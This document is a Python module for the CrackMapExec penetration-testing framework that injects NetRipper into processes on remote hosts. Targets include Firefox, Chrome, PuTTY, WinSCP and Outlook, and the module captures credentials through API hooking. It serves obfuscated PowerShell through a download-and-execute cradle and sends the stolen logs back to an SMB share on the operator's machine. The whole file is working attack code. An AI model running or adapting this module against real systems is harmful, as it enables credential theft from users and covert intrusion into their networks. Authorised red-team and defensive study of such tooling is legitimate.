77 lines
2.8 KiB
Python
77 lines
2.8 KiB
Python
from cme.helpers.powershell import *
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from cme.helpers.misc import gen_random_string
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from cme.servers.smb import CMESMBServer
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from sys import exit
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import os
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class CMEModule:
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'''
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Injects NetRipper in memory using PowerShell
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Note: NetRipper doesn't support injecting into x64 processes yet, which very much limits its use case
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Module by @byt3bl33d3r
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'''
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name = 'netripper'
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description = "Capture's credentials by using API hooking"
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supported_protocols = ['smb', 'mssql']
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opsec_safe = True
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multiple_hosts = True
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def options(self, context, module_options):
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'''
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PROCESS Process to hook, only x86 processes are supported by NetRipper currently (Choices: firefox, chrome, putty, winscp, outlook, lync)
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'''
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self.process = None
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if 'PROCESS' in module_options:
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self.process = module_options['PROCESS']
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else:
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context.log.error('PROCESS option is required')
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exit(1)
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self.share_name = gen_random_string(5).upper()
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self.ps_script1 = obfs_ps_script('cme_powershell_scripts/Invoke-PSInject.ps1')
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self.ps_script2 = obfs_ps_script('netripper/PowerShell/Invoke-NetRipper.ps1')
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context.log.info('This module will not exit until CTRL-C is pressed')
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context.log.info('Logs will be stored in ~/.cme/logs\n')
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self.smb_server = CMESMBServer(context.log, self.share_name, context.log_folder_path)
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self.smb_server.start()
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def on_admin_login(self, context, connection):
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log_folder = 'netripper_{}'.format(connection.host)
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command = 'Invoke-NetRipper -LogLocation \\\\{}\\{}\\{}\\ -ProcessName {}'.format(context.localip, self.share_name, log_folder, self.process)
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netripper_cmd = gen_ps_iex_cradle(context, 'Invoke-NetRipper.ps1', command, post_back=False)
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launcher = gen_ps_inject(netripper_cmd, context)
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ps_command = create_ps_command(launcher)
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connection.execute(ps_command)
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context.log.success('Executed launcher')
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def on_request(self, context, request):
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if 'Invoke-PSInject.ps1' == request.path[1:]:
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request.send_response(200)
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request.end_headers()
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request.wfile.write(self.ps_script1)
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elif 'Invoke-NetRipper.ps1' == request.path[1:]:
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request.send_response(200)
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request.end_headers()
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#We received the callback, so lets setup the folder to store the screenshots
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log_folder_path = os.path.join(context.log_folder_path, 'netripper_{}'.format(request.client_address[0]))
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if not os.path.exists(log_folder_path): os.mkdir(log_folder_path)
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request.wfile.write(self.ps_script2)
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else:
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request.send_response(404)
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request.end_headers()
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def on_shutdown(self, context):
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self.smb_server.shutdown() |